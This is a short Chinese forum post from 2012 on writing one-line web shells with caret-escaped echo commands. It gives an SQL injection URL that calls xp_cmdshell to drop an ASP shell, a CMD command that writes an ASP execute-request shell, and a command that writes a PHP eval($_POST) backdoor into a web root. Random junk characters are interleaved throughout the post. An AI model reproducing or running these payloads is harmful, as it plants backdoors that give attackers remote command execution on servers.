用^转义字符来写ASP(一句话木马)文件的方法:
- [1 _7 |% f- p8 }& C' o1 j! [6 C0 N5 _
1.注入点后执行 http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--
- j' M" U) e3 X1 y; q2 ?' I6 \
+ Q; y5 Q M4 e5 q8 Z, t2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >D:\doc\week6\images\2.asp% B( G1 l6 r: ?" [" \- Z4 k
* c4 S$ a' |8 r# \# R
: k: X* e2 }8 j6 D& W
PHP* W: A) m8 R/ B- j3 M
echo ^<^?php eval^($_POST[cmd])?^>>D:\hosting\wwwroot\zlhua_cn\htdocs\1.php |
发表于 2012-9-15 14:52:31
收藏
支持
反对